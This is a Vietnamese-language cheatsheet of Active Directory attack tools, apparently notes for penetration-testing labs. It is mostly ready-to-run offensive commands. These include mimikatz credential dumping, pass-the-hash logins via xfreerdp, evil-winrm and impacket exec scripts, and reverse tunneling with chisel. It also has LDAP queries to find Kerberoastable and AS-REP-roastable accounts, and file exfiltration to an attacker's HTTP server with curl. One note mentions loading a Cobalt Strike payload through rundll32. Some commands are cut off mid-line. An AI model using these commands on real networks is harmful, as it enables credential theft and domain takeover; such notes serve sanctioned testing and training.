Cheatsheet: Tools khai thác Active Directory

MỤC LỤC

Tactics	Techniques	Tools
Reconnaissance		AutoRecon
		FFuF
Credential Access	Password Cracking	John the Ripper
		Hashcat
	OS Credential Dumping	mimikatz

Tactics	Techniques	Tools
Lateral Movement	Remote Services	SSH
		xfreerdp
		evil-winrm
		impacket-scripts + psexec.py + smbexec.py + wmiexec.py + atexec.py + dcomexec.py
	Tunneling	SSH
		plink
		chisel
Privilege Escalation	Linux	LinPEAS
		linux-exploit-suggester
	Windows	WinPEAS
		wesng
		Windows-Exploit-Suggester

▼ Autorecon

```
sudo autorecon <target> --only-scans-dir --exclude-tags="unsafe,http+long"
```

▼ John the Ripper

```
john --list=formats
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt --format=<format> hash
```

▼ Hashcat

```
hashcat --help | grep -i <format>
```

```
hashcat -a 0 -m <hash-mode> hash /usr/share/wordlists/rockyou.txt -r /usr/sha
```

▼ Mimikatz

▼ Installation

- Compiled binary of Mimikatz
  - https://github.com/ParrotSec/mimikatz/blob/master/x64/mimikatz.exe
  - Nếu mọi người sử dụng kali

```
sudo apt install mimikatz
ls /usr/share/windows-resources/mimikatz
```

- Full source https://github.com/gentilkiwi/mimikatz

```
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" > mimikatz.out
```

```
.\mimikatz "privilege::debug" "lsadump::sam" "exit" > mimikatz.out
```

▼ xfreerdp

```
xfreerdp /u:<user> /p:<password> /d:<domain> /v:<ip> /cert-ignore
```

```
xfreerdp /u:<user> /pth:<hash> /d:<domain> /v:<ip> /cert-ignore
```

▼ Evil-Winrm

```
evil-winrm -i <ip|domain> -u <user> -p <password>
```

```
evil-winrm -i <ip|domain> -u <user> -H <hash>
```

▼ Impacket-Scripts

▼ Installation

```
pipx install git+https://github.com/fortra/impacket
```

```
psexec.py <domain>/<user>:<password>@<ip>

smbexec.py <domain>/<user>:<password>@<ip>

wmiexec.py <domain>/<user>:<password>@<ip>

atexec.py <domain>/<user>:<password>@<ip> 'powershell /c whoami'

dcomexec.py <domain>/<user>:<password>@<ip> -object MMC20
```

```
psexec.py -hashes <hash> <domain>/<user>@<ip>

smbexec.py -hashes <hash> <domain>/<user>@<ip>

wmiexec.py -hashes <hash> <domain>/<user>@<ip>

atexec.py -hashes <hash> <domain>/<user>@<ip> 'powershell /c whoami'

dcomexec.py -hashes <hash> <domain>/<user>@<ip> -object MMC20
```

▼ SSH

```
ssh -L <local_port>:<remote_host>:<remote_port> <user>@<ip>
```

```
ssh -R <remote_binding>:<remote_port>:<local_host>:<local_port> <user>@<i
```

```
ssh -D <socks_port> <user>@<ip>
```

▼ Chisel

▼ Installation

https://github.com/jpillora/chisel#install

```
./chisel server -v -p <server_port|8000> --reverse
```

```
./chisel client <server_ip>:<server_port> R:socks
```

▼ LinPEAS

```
.\linpeas.sh -a > /tmp/linpeas.out
```

```
.\linpeas.sh -s > /tmp/linpeas.out
```

▼ WinPEAS

```
.\winpeas log
```

▼ rundll32

Using signed exec’s to load a Cobalt stageless payload, i.e.;

```
rundll32 foo.dll,Start
```

▼ Ldapsearch: Lệnh cơ bản

ldapsearch là một công cụ dòng lệnh để truy vấn và tìm kiếm thông tin từ máy chủ LDAP. Một số đặc điểm chính của ldapsearch:

- Có sẵn trên hầu hết các hệ thống Unix/Linux và macOS
- Cho phép thực hiện các truy vấn LDAP linh hoạt với nhiều tùy chọn
- Có thể truy vấn thông tin về người dùng, nhóm, máy tính và các đối tượng khác trong Active Directory
- Hỗ trợ tìm kiếm với các bộ lọc phức tạp
- Cho phép xác định các thuộc tính cụ thể cần trả về

So với BloodHound và PowerView, một số lợi thế của ldapsearch:

- Nhẹ hơn và không yêu cầu cài đặt thêm công cụ phức tạp
- Có thể chạy trên các hệ thống không phải Windows
- Ít gây chú ý hơn khi thực hiện truy vấn do là công cụ chuẩn
- Cho phép thực hiện các truy vấn tùy chỉnh linh hoạt hơn
- Có thể truy vấn các thuộc tính cụ thể mà không cần lấy toàn bộ dữ liệu

Kiểm tra kết nối và thông tin cơ bản:

```
ldapsearch -H ldap://DC_IP -x -s base namingcontexts
```

Giải thích:

- H: Chỉ định host LDAP
- x: Sử dụng xác thực đơn giản
- s base: Tìm kiếm ở mức base DN
- namingcontexts: Thuộc tính để lấy thông tin về naming contexts của domain

Liệt kê tất cả user:

```
ldapsearch -H ldap://DC_IP -x -b "DC=domain,DC=local" "(&(objectClass=user)(objectCategory=person))"
```

Giải thích:

- b: Chỉ định base DN để tìm kiếm
- Filter "(objectClass=user)(objectCategory=person)" sẽ trả về tất cả user

Tìm kiếm Domain Admins:

```
ldapsearch -H ldap://DC_IP -x -b "DC=domain,DC=local" "(&(objectCategory=group)(cn=Domain Admins))"
```

Các khái niệm quan trọng:

- SPN (Service Principal Name): Định danh duy nhất cho một service instance. Tài khoản có SPN có thể bị tấn công Kerberoasting.
- ASREProasting: Tấn công nhắm vào tài khoản không yêu cầu Kerberos pre-authentication.
- GPO (Group Policy Object): Tập hợp các cài đặt chính sách được áp dụng cho user và computer.

▼ Ldapsearch: Lệnh nâng cao

Tìm tài khoản không yêu cầu pre-authentication (ASREProastable):

```
ldapsearch -H ldap://DC_IP -x -b "DC=domain,DC=local" "(userAccou
ntControl:1.2.840.113556.1.4.803:=4194304)"
```

Tìm kiếm tài khoản có SPN (Kerberoastable):

```
ldapsearch -H ldap://DC_IP -x -b "DC=domain,DC=local" "(&(samAcc
ountType=805306368)(servicePrincipalName=*))"
```

Giải thích:

- samAccountType=805306368: Chỉ tài khoản user
- servicePrincipalName=*: Có SPN được set

Tìm GPO:

```
ldapsearch -H ldap://DC_IP -x -b "DC=domain,DC=local" "(objectCate
gory=groupPolicyContainer)"
```

Tìm các máy tính trong domain:

```
ldapsearch -H ldap://DC_IP -x -b "DC=domain,DC=local" "(&(objectCategory=computer)(objectClass=computer))"
```

Tìm Domain Controllers:

```
ldapsearch -H ldap://DC_IP -x -b "DC=domain,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"
```

Tìm tài khoản có mật khẩu không hết hạn:

```
ldapsearch -H ldap://DC_IP -x -b "DC=domain,DC=local" "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))"
```

Directory Scanning:

- ffuf

Transfer files:

- SMB
  - server: `impacket-server SHARE . -smb2support`
  - client: `copy \\{ip}\SHARE\file .\`
- `python3 -m http.server {port}` (chỉ cho phép download)

▼ updog: HTTP server - Cho phép vừa upload/download

> Đôi khi môi trường Windows bị gì đó mà chúng ta không thể dùng SMBserver để trao đổi file được, nên quay lại với cách lẹ nhất là HTTP. Nhưng phải cài một thư viện nho nhỏ.

- `pip3 install updog`
- server: `updog -d .`
- client:
  - windows: `curl.exe -F "file=@.\test.txt" -F "path=/home/kali/htb/re/files/" http://{server_ip}:9090/upload`
  - linux: `curl -F "file=@./test.txt" -F "path=/home/kali/htb/re/files/" http://{server_ip}:9090/upload`

> Lưu ý: nhớ vào trang web updog lần đầu tiên để lấy ra tham số `path` cho đúng nhé. updog hơi sida chỗ này.

Mimikatz phiên bản cũ:

https://github.com/gentilkiwi/mimikatz/files/4167347/mimikatz_trunk.zip

Windows

▼ Shortscan:

```
shortscan --is-vuln {target}
shortscan {target}
```

Recon

▼ Autorecon

- Chỉnh config `~/.config/AutoRecon/config.toml`

```
# Configure regular AutoRecon options at the top of this file.

# Configure plugin options here.
```

```
[dirbuster]
tool = 'ffuf'
threads = 10
wordlist = [
    '/usr/share/seclists/Discovery/Web-Content/common.txt'
]
```

- Lệnh cơ bản: `autorecon {target} -o output_file`

▼ nmap

```
nmap -p- --min-rate 10000 -oA scans/quickscan_alltcp {target}

nmap -p {port} -sC -sV -oA scans/details_scan {target}
```

NTLM authentication attack:

- netexec (tiền thân là crackmapexec)
- impacket-smbserver
- Responder

SMB

- smbclient
- impacket-smbexec
- netexec

MSSQL

- impacket-mssqlclient

Password Hash Cracking:

- john
- hashcat

Windows Privilege Escalation

- WinPeas
- Powerup

Cheatsheet:

- https://wadcoms.github.io/

- https://lolbas-project.github.io/

Install golang

```
#!/bin/bash

lastest_go=$(curl -s https://go.dev/VERSION?m=text | head -n1)
file_name="$lastest_go.linux-amd64.tar.gz"

wget "https://dl.google.com/go/$file_name"
rm -rf /usr/local/go && tar -C /usr/local -xzf "$file_name"

cat <<EOF >> "$HOME/.bashrc"
export GOROOT=/usr/local/go
export GOPATH=\$HOME/go
export PATH=\$GOPATH/bin:\$GOROOT/bin:\$PATH
EOF

rm -rf "$file_name"
```